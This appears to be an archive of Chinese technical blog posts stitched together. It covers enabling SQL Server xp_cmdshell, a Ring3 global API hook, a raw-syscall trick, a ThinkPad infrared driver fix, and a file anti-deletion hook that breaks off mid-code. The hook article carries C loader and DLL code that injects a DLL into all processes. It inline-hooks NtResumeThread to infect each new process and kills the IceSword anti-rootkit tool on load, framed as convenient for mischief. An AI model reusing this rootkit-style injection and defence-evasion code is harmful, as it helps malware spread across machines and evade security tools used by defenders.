0%

SQL Server 2005 中引入的 xp_cmdshell 选项是服务器配置选项,
使系统管理员能够控制是否可以在系统上执行 xp_cmdshell 扩展存储过程。

1. 如何在sql server 2005 中开启xp_cmdshell

1
2
3
4
5
6
7
8
9
10
11
12
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO

2. 如何查询sql server 2005 拓展存储过程xp_cmdshell 状态

1
2
SELECT * FROM sys.configurations where name='xp_cmdshell'
GO

查看value的值, 1 为开启, 0 为关闭

3. 如何查看public角色对哪些拓展存储过程有执行权限

1
2
3
4
5
6
select sysusers.name, sysobjects.name, sysprotects.action from sysobjects, sysusers, sysprotects
where sysobjects.id=sysprotects.id and sysprotects.uid = sysusers.uid and
sysprotects.protecttype=205 and sysprotects.action= 224 and (sysusers.name='public' or
sysusers.name='guest' ) and sysobjects.type='X'

GO

4. 如何去掉public角色对拓展存储过程的执行权限

1
2
deny execute on xp_dirtree to public
GO

挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。
似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然
是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的,
因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是
无法接受蓝屏和死机的。

感兴趣的可以装个Rootkit unhooker 自己看看。 :)

1. 以往的Ring 3全局Hook

纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型:

1
2
3
4
5
6
HHOOK SetWindowsHookEx(      
int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId
);
1
2
3
4
idhook   安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等
lpfn hook procedure 的指针
hmod 包含 hook procedure DLL 的handle
dwThread 为0

使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面
的程序,Windows console 类的程序就无能为力了。

还有一种通过插入注册表来实现

1
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。

以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩 NtCreateProcess
这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。

a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,
而当NtCreateProcess返回时,进程又已经开始运行

b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可
以这么理解,直接在命令行下,cmd,cmd,cmd …. 你可以监控到最后一个cmd 吗,如果只
用SetWindowsHookEx

c. 是否正好站在了华容道,是否足够底层。

似乎很费劲

2. 分析系统创建进程过程,寻找方法

关于这方面内容,可以参考毛德操老师的两篇文章

《漫谈兼容内核之十七:再谈Windows的进程创建》
《漫谈兼容内核之二十二:Windows线程的调度和运行》

下面是他的blog 链接:
http://hi.baidu.com/fatbsd/blog

CreateProcess 是 Kernel32.dll 的导出函数。

操起WinDbg,剁了一下: Windows 2003 SP2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
lkd> uf CreateProcessW
kernel32!CreateProcessW:
7c802474 8bff mov edi,edi
7c802476 55 push ebp
7c802477 8bec mov ebp,esp
7c802479 6a00 push 0x0
7c80247b ff752c push dword ptr [ebp+0x2c]
7c80247e ff7528 push dword ptr [ebp+0x28]
7c802481 ff7524 push dword ptr [ebp+0x24]
7c802484 ff7520 push dword ptr [ebp+0x20]
7c802487 ff751c push dword ptr [ebp+0x1c]
7c80248a ff7518 push dword ptr [ebp+0x18]
7c80248d ff7514 push dword ptr [ebp+0x14]
7c802490 ff7510 push dword ptr [ebp+0x10]
7c802493 ff750c push dword ptr [ebp+0xc]
7c802496 ff7508 push dword ptr [ebp+0x8]
7c802499 6a00 push 0x0
7c80249b e8a6ac0200 call kernel32!CreateProcessInternalW (7c82d146)
7c8024a0 5d pop ebp
7c8024a1 c22800 ret 0x28

lkd> uf CreateProcessInternalW
....
7c82cf8f ff159814807c call dword ptr [kernel32!_imp__NtCreateProcessEx (7c801498)]
....
7c82daa2 ff159414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801494)]
....
7c82dbdc ff158814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801488)]

大概流程如下:

1
2
3
4
5
Kernel32!CreateProcessW
Kernel32!CreateProcessInternalW
ntdll!NtCreateProcessEx
ntdll!NtCreateThread
ntdll!NtResumeThread

因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,但是进程并没有调度起来,呵呵,方便干坏事啊。

3. 具体代码实现

基本思路已经清晰了,这里还几个问题。

a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时
调用的NtResumeThread呢?

其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到
NTResumeThread 是判断NtResumeThread 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。

b. 用什么方法Hook , IAT、Inline? 总的架构?

这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。
枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程
创建时,将DLL 插入新进程。

下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。
Hook 也不是不是我们这次的主要内容,感兴趣的可以参考

http://www.xfocus.net/articles/200403/681.html

c. 在多线程的环境下是否可靠?

使用关键代码段,互斥锁,效果还可以。

Loader:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
void inject(HANDLE hProcess){

char CurPath[256] = {0};
strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");
PWSTR pszLibFileRemote = NULL;


int len = (lstrlen(CurPath)+1)*2;
WCHAR wCurPath[256];
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess,
NULL,
len,
MEM_COMMIT,
PAGE_READWRITE);

WriteProcessMemory(hProcess, pszLibFileRemote,
(PVOID) wCurPath, len, NULL);

PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
pszLibFileRemote,
0,
NULL);

}

void TotalInject()
{
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = {0};

// Take a snapshot of all processes in the system.
EnableDebugPrivilege(1);

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hProcessSnap == INVALID_HANDLE_VALUE)
return;

// Fill in the size of the structure before using it.

pe32.dwSize = sizeof(PROCESSENTRY32);

// Walk the snapshot of the processes, and for each process,
// display information.

if (Process32First(hProcessSnap, &pe32))
{

do
{
HANDLE hProcess;
// Get the actual priority class.
hProcess = OpenProcess (PROCESS_ALL_ACCESS,
FALSE,
pe32.th32ProcessID);
inject(hProcess);
CloseHandle(hProcess);

}
while (Process32Next(hProcessSnap, &pe32));

}

// Do not forget to clean up the snapshot object.
EnableDebugPrivilege(0);

CloseHandle (hProcessSnap);
return ;


}

Hook.dll: 关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
#include "stdafx.h"
#include <stdio.h>

BOOL g_bHook = FALSE;

typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef ULONG SYSTEM_INFORMATION_CLASS;
typedef ULONG THREADINFOCLASS;
typedef ULONG PROCESSINFOCLASS;
typedef ULONG KPRIORITY;
#define MEMORY_BASIC_INFORMATION_SIZE 28

typedef struct _THREAD_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PNT_TIB TebBaseAddress;
CLIENT_ID ClientId;
KAFFINITY AffinityMask;
KPRIORITY Priority;
KPRIORITY BasePriority;
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;

typedef struct _PROCESS_BASIC_INFORMATION { // Information Class 0
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
KAFFINITY AffinityMask;
KPRIORITY BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL );

typedef NTSTATUS (__stdcall *NTRESUMETHREAD)(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);

typedef NTSTATUS (__stdcall *NTQUERYINFORMATIONTHREAD)(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT PULONG ReturnLength OPTIONAL);


typedef NTSTATUS (__stdcall * NTQUERYINFORMATIONPROCESS)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL);


NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL;
NTRESUMETHREAD g_pfNtResumeThread = NULL;
BYTE g_OldNtQuerySystemInformation[5] = {0}, g_NewNtQuerySystemInformation[5] = {0};
BYTE g_OldNtResumeThread[5] = {0}, g_NewNtResumeThread[5] = {0};
DWORD dwIdOld = 0;
CRITICAL_SECTION cs;

NTSTATUS __stdcall NewNtQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);

NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL);


void WINAPI HookOn();
void WINAPI HookOff();

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
InitializeCriticalSection(&cs);
char Name[MAX_PATH] = {0};
GetModuleFileName(NULL, Name, MAX_PATH);
// 杀杀冰刃玩玩
if ( strstr(Name, "IceSword.exe") != NULL)
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
0,
GetCurrentProcessId());
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
}
if(!g_bHook)
{
HookOn();
}
#ifdef _DEBUG
MessageBox(NULL, "Process Attach", "Remote Dll", MB_OK);
#endif

}
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
if(g_bHook)
{
HookOff();
#ifdef _DEBUG
MessageBox(NULL, "Off!", "Hook Off", MB_OK);
#endif
DeleteCriticalSection(&cs);
}
break;
}

return TRUE;
}

BOOL EnableDebugPrivilege(BOOL fEnable) {

// Enabling the debug privilege allows the application to see
// information about service applications
BOOL fOk = FALSE; // Assume function fails
HANDLE hToken;

// Try to open this process's access token
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,
&hToken)) {

// Attempt to modify the "Debug" privilege
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return(fOk);
}

#define ThreadBasicInformation 0

void inject(HANDLE hProcess){

char CurPath[256] = {0};
GetSystemDirectory(CurPath, 256);
strncat(CurPath, "\\Hook.dll", 9);
//strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");
PWSTR pszLibFileRemote = NULL;


int len = (lstrlen(CurPath)+1)*2;
WCHAR wCurPath[256];
MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

EnableDebugPrivilege(1);

pszLibFileRemote = (PWSTR)
VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, pszLibFileRemote,
(PVOID) wCurPath, len, NULL);

PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

HANDLE hRemoteThread = CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
pszLibFileRemote,
0,
NULL);
WaitForSingleObject(hRemoteThread, INFINITE);
CloseHandle(hRemoteThread);

EnableDebugPrivilege(0);

}

NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL)
{

NTSTATUS ret;
NTSTATUS nStatus;
NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;
THREAD_BASIC_INFORMATION ti;
DWORD Pid = 0;

HMODULE hNtdll = GetModuleHandle("ntdll.dll");

NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,
"NtQuerySystemInformation");
NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(hNtdll,
"NtQueryInformationThread");

if (NtQueryInformationThread == NULL)
{
#ifdef _DEBUG
MessageBox(NULL, "can't get NtQueryInformationThread", "", MB_OK);
#endif

}

nStatus = NtQueryInformationThread(ThreadHandle,
ThreadBasicInformation,
(PVOID)&ti,
sizeof(THREAD_BASIC_INFORMATION),
NULL);

if(nStatus != STATUS_SUCCESS)
{
#ifdef _DEBUG
MessageBox(NULL, "fuck failed", "", MB_OK);
#endif

}

Pid = (DWORD)(ti.ClientId.UniqueProcess);

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, Pid);

if (hProcess == NULL)
{
#ifdef _DEBUG
MessageBox(NULL, "open process failed", "", MB_OK);
#endif
}

BYTE FirstByte[1] = {0};
// check if the process has been hooked
ReadProcessMemory(hProcess, NtQuerySystemInformation, FirstByte, 1, NULL);

// 已经被Hook了
if ( FirstByte[0] == 0xe9)
{

HookOff();
ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);
HookOn();

CloseHandle(hProcess);

return ret;
}
// 创建新进程的调用,Hook 之
else
{
HookOff();
inject(hProcess);
ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);
HookOn();

CloseHandle(hProcess);
return ret;
}
}

NTSTATUS __stdcall NewNtQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;

HookOff();
ntStatus = g_pfNtQuerySystemInformation(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
HookOn();

return ntStatus;
}


void WINAPI HookOn()
{
PMEMORY_BASIC_INFORMATION lpAllocBuffer = NULL;
DWORD dwOldProtect, dwOldProtect2;
HANDLE hProcess = NULL;


dwIdOld = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwIdOld);
if(hProcess == NULL)
return ;

HMODULE hNtdll = GetModuleHandle("ntdll.dll");
g_pfNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,
"NtQuerySystemInformation");

if (g_pfNtQuerySystemInformation == NULL)
{
return;
}

g_pfNtResumeThread = (NTRESUMETHREAD)GetProcAddress(hNtdll, "NtResumeThread");

if (g_pfNtResumeThread == NULL)
{
return;
}

EnterCriticalSection(&cs);

_asm
{
lea edi,g_OldNtQuerySystemInformation
mov esi,g_pfNtQuerySystemInformation
cld
mov ecx,5
rep movsb
lea edi,g_OldNtResumeThread
mov esi,g_pfNtResumeThread
cld
mov ecx,5
rep movsb
}

g_NewNtQuerySystemInformation[0] = 0xe9;
g_NewNtResumeThread[0] = 0xe9;
_asm
{
lea eax, NewNtQuerySystemInformation
mov ebx, g_pfNtQuerySystemInformation
sub eax, ebx
sub eax, 5
mov dword ptr [g_NewNtQuerySystemInformation + 1], eax
lea eax, NewNtResumeThread
mov ebx, g_pfNtResumeThread
sub eax, ebx
sub eax, 5
mov dword ptr [g_NewNtResumeThread + 1], eax
}
.......
LeaveCriticalSection(&cs);

g_bHook = TRUE;
}

// 还原被修改的代码
void WINAPI HookOff()
{
......
g_bHook = FALSE;
}

4. 参考资料

Microsoft MSDN,SDK & DDK
《Windows NT 2000 Native API Reference》
《Windows 核心编程》
《挂钩Windows API》
《如何在Windows NT中隐藏自己》

小技巧。但是用的人好像不多。例子: Windows 2000 下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
NtQuerySystemInformationNo = 0x97;

_declspec(naked)
NTSTATUS __stdcall PrivateNtQuerySystemInformation
(IN SYSTEM_INFORMATION_CLASS,
IN OUT PVOID,
IN ULONG,
OUT PULONG OPTIONAL)
{

_asm {
mov eax, NtQuerySystemInformationNo
lea edx, [esp+4]
int 2Eh
ret 10h
}

}

Intel(R) 82801GBM (ICH7-M) LPC Interface Controller - 27B9(ACPI\IBM0071\4&61F3B4B&0)是Intel的红外线设备连接。

win2003/2008等服务器版本没有自带这个驱动。IBM T60等机器可以在主板里设置关闭INTERFACE,或者下载XP的红外线补丁(IBM Thinkpad Fast Infrared Port)就可以解决

相关链接:
http://www-307.ibm.com/pc/support/site.wss/document.do?sitestyle=lenovo&lndocid=MIGR-4KUR6S
http://www.versiontracker.com/dyn/moreinfo/win/36353
http://www.soft32.com/download_181790.html
http://forum.thinkpads.com/viewtopic.php?t=22787&sid=3a24f025ddb4d19d3e2d00e122c84957

具体解决办法:

第一方法:BIOS设置:

Config(设置)选项—Infrared(红外线接口)选项,设为禁用(Disable)
Config(设置)选项—Infrared Device(红外线设备)选项,设为禁用(Hidden)

第二方法:下载红外补丁后按下列方法安装:
1、解压压缩包,并执行instirda.bat,然后重新启动计算机;
2、插入USB红外线设备(笔记本自带红外的看第3步);
3、察看设备管理器,会发现网络适配器处多出一项带叹号的USB Device的项目;
4、选择此项目,更新驱动(可用WinXP下的驱动程序);
5、运行reg\Infrared,导入注册表;
6、设备管理器中找到那个设备,更新驱动——不要搜索,我要自己选择安装的驱动——IBM thinkpad fast infrared port,然后下一步;
7、提示所需文件——找到sys里面的nscirda;
8、成功。

已知问题:
1、安装过程中可能,系统提示个别文件无法找到,请手动定位到前面已解压的SYS文件夹处,确认继续。
2、使用红外设备后,提示缺文件也是要定位到SYS文件夹进行安装。
3、要是提示不能识别,可以重新更新驱动

Windows server 2003(企业版)红外通讯支持程序(Fro 2003 红外驱动) 下载地址:

http://www.irxon.com/download/ir2003.zip
http://www.divshare.com/download/4167497-cb3

说明:Windows server 2003 (企业版)是一款面向企业用户的高端服务器操作系统,为了安全起见,它没有集成支持IrDA红外通讯的协议软件,所以目前所有的IrDA红外设备都不能在这个操作系统里使用。但是我们可以利用XP系统里的IrDA红外通讯协议软件来解决这个问题,安装时使用红外适配器在XP系统里的驱动程序,缺协议软件就到这个软件包里去找,安装完成后红外适配器就可以在Windows2003里正常工作了。

PS: T60 装了2003 后一个驱动老是找不到,最后终于找到了正确答案。。:) share it

简单实现文件防删除,说简单是因为没有用很底层的技术,例如文件驱动之类。我只用最简单的方法实现了, 使用 ring3 的API hook 技术。随着技术的发展这种技术已经过不了很多的主动防御技术了。主要是思路和方法和分析过程。(高手飘过)

ring3 下挂钩 API 基本上也就是修改导入表,和Inline hook 修改前5个字节这几种方法。挂钩Native API 没有什么区别,也就是多声明几个结构和变量类型。

关于挂钩API 请参见:www.xfocus.net/articles/200403/681.html

文件删除的ring3 API 是DeleteFile, 此API 存在于kernel32.dll 中,用OD分析一下。(哪个都可以,IDA更不用说)

DeleteFileA 的反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
7C80D2FB >/$ 8BFF mov edi, edi
7C80D2FD |. 55 push ebp
7C80D2FE |. 8BEC mov ebp, esp
7C80D300 |. FF75 08 push dword ptr [ebp+8]
7C80D303 |. E8 17790100 call 7C824C1F
7C80D308 |. 85C0 test eax, eax
7C80D30A |. 74 08 je short 7C80D314
7C80D30C |. FF70 04 push dword ptr [eax+4] ; /FileName
7C80D30F |. E8 3D170000 call DeleteFileW ; \DeleteFileW
7C80D314 |> 5D pop ebp
7C80D315 \. C2 0400 retn 4

可以得到一个流程 DeleteFileA –> DeleteFileW

DeleteFileW 的反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
7C80EA51 > $ 8BFF mov edi, edi
7C80EA53 . 55 push ebp
7C80EA54 . 8BEC mov ebp, esp
7C80EA56 . 83EC 50 sub esp, 50
7C80EA59 . 56 push esi
7C80EA5A . 8D45 C8 lea eax, dword ptr [ebp-38]
7C80EA5D . 50 push eax
7C80EA5E . 33F6 xor esi, esi
7C80EA60 . 56 push esi
7C80EA61 . 8D45 E0 lea eax, dword ptr [ebp-20]
7C80EA64 . 50 push eax
7C80EA65 . FF75 08 push dword ptr [ebp+8]
7C80EA68 . C645 FF 00 mov byte ptr [ebp-1], 0
7C80EA6C . FF15 5411807C call dword ptr [<&ntdll.RtlDosPathNam>; ntdll.RtlDosPathNameToRelativeNtPathName_U
7C80EA72 . 84C0 test al, al
7C80EA74 . 0F84 FBCC0200 je 7C83B775
7C80EA7A . 8B45 E4 mov eax, dword ptr [ebp-1C]
7C80EA7D . 8945 F4 mov dword ptr [ebp-C], eax
7C80EA80 . 8B45 C8 mov eax, dword ptr [ebp-38]
7C80EA83 . 66:3BC6 cmp ax, si
7C80EA86 . 0F85 E9660200 jnz 7C835175
7C80EA8C . 8975 D0 mov dword ptr [ebp-30], esi
7C80EA8F > 8B45 D0 mov eax, dword ptr [ebp-30]
7C80EA92 . 53 push ebx
7C80EA93 . 57 push edi
7C80EA94 . 8945 B4 mov dword ptr [ebp-4C], eax
7C80EA97 . 8D45 E0 lea eax, dword ptr [ebp-20]
7C80EA9A . 8945 B8 mov dword ptr [ebp-48], eax
7C80EA9D . BF 40402000 mov edi, 204040
7C80EAA2 . 57 push edi
7C80EAA3 . 6A 07 push 7
7C80EAA5 . 8D45 E8 lea eax, dword ptr [ebp-18]
7C80EAA8 . 50 push eax
7C80EAA9 . 8D45 B0 lea eax, dword ptr [ebp-50]
7C80EAAC . 50 push eax
7C80EAAD . 68 80000100 push 10080 ; UNICODE "ocuments and
7C80EAB2 . 8D45 F8 lea eax, dword ptr [ebp-8]
7C80EAB5 . 8975 C0 mov dword ptr [ebp-40], esi
7C80EAB8 . 8975 C4 mov dword ptr [ebp-3C], esi
7C80EABB . 8B35 1410807C mov esi, dword ptr [<&ntdll.NtOpenFi>; ntdll.ZwOpenFile
7C80EAC1 . 50 push eax
7C80EAC2 . C745 B0 18000>mov dword ptr [ebp-50], 18
7C80EAC9 . C745 BC 40000>mov dword ptr [ebp-44], 40
7C80EAD0 . FFD6 call esi ; <&ntdll.NtOpenFile>
7C80EAD2 . 8BD8 mov ebx, eax
7C80EAD4 . 85DB test ebx, ebx
7C80EAD6 .^ 0F8C F5F4FFFF jl 7C80DFD1
7C80EADC . 6A 23 push 23 ; /InfoClass = FileAttributeTagInformation
7C80EADE . 6A 08 push 8 ; |Bufsize = 8
7C80EAE0 . 8D45 D8 lea eax, dword ptr [ebp-28] ; |
7C80EAE3 . 50 push eax ; |Buffer
7C80EAE4 . 8D45 E8 lea eax, dword ptr [ebp-18] ; |
7C80EAE7 . 50 push eax ; |pStatusBlock
7C80EAE8 . FF75 F8 push dword ptr [ebp-8] ; |hFile
7C80EAEB . FF15 1810807C call dword ptr [<&ntdll.NtQueryInform>; \ZwQueryInformationFile
7C80EAF1 . 8BD8 mov ebx, eax
7C80EAF3 . 85DB test ebx, ebx
7C80EAF5 . 0F8C D5CC0200 jl 7C83B7D0
7C80EAFB . 8B45 D8 mov eax, dword ptr [ebp-28]
7C80EAFE . 25 00040000 and eax, 400
7C80EB03 . 0F85 0ECD0200 jnz 7C83B817
7C80EB09 > 85C0 test eax, eax
7C80EB0B . 0F85 1CCD0200 jnz 7C83B82D
7C80EB11 > 8D45 C8 lea eax, dword ptr [ebp-38]
7C80EB14 . 50 push eax
7C80EB15 . FF15 5011807C call dword ptr [<&ntdll.RtlReleaseRel>; ntdll.RtlReleaseRelativeName
7C80EB1B . FF75 F4 push dword ptr [ebp-C]
7C80EB1E . 64:A1 1800000>mov eax, dword ptr fs:[18]
7C80EB24 . 8B40 30 mov eax, dword ptr [eax+30]
7C80EB27 . 6A 00 push 0
7C80EB29 . FF70 18 push dword ptr [eax+18]
7C80EB2C . FF15 1010807C call dword ptr [<&ntdll.RtlFreeHeap>] ; ntdll.RtlFreeHeap
7C80EB32 . 6A 0D push 0D ; /InfoClass = FileDispositionInformation
7C80EB34 . 6A 01 push 1 ; |Bufsize = 1
7C80EB36 . 8D45 0B lea eax, dword ptr [ebp+B] ; |
7C80EB39 . 50 push eax ; |Buffer
7C80EB3A . 8D45 E8 lea eax, dword ptr [ebp-18] ; |
7C80EB3D . 50 push eax ; |pStatusBlock
7C80EB3E . FF75 F8 push dword ptr [ebp-8] ; |hFile
7C80EB41 . C645 0B 01 mov byte ptr [ebp+B], 1 ; |
7C80EB45 . FF15 3010807C call dword ptr [<&ntdll.NtSetInformat>; \ntdll.ZwSetInformationFile
7C80EB4B . FF75 F8 push dword ptr [ebp-8] ; /Handle
7C80EB4E . 8BF0 mov esi, eax ; |
7C80EB50 . FF15 3810807C call dword ptr [<&ntdll.NtClose>] ; \ZwClose
7C80EB56 . 85F6 test esi, esi
7C80EB58 .^ 0F8C 1F91FFFF jl 7C807C7D
7C80EB5E . 33C0 xor eax, eax
7C80EB60 . 40 inc eax
7C80EB61 > 5F pop edi
7C80EB62 . 5B pop ebx
7C80EB63 > 5E pop esi
7C80EB64 . C9 leave
7C80EB65 . C2 0400 retn 4

得到一个流程 DeleteFileA –> DeleteFileW –> ntdll.ZwSetInformationFile,因此我们只要挂钩了ZwSetInformationFile 就可以简单实现目标了。这里写出了新的 ZwSetInformationFile 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _IO_STATUS_BLOCK {
DWORD Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef enum _FILE_INFORMATION_CLASS {
// end_wdm
FileDirectoryInformation = 1,
FileFullDirectoryInformation, // 2
FileBothDirectoryInformation, // 3
FileBasicInformation, // 4 wdm
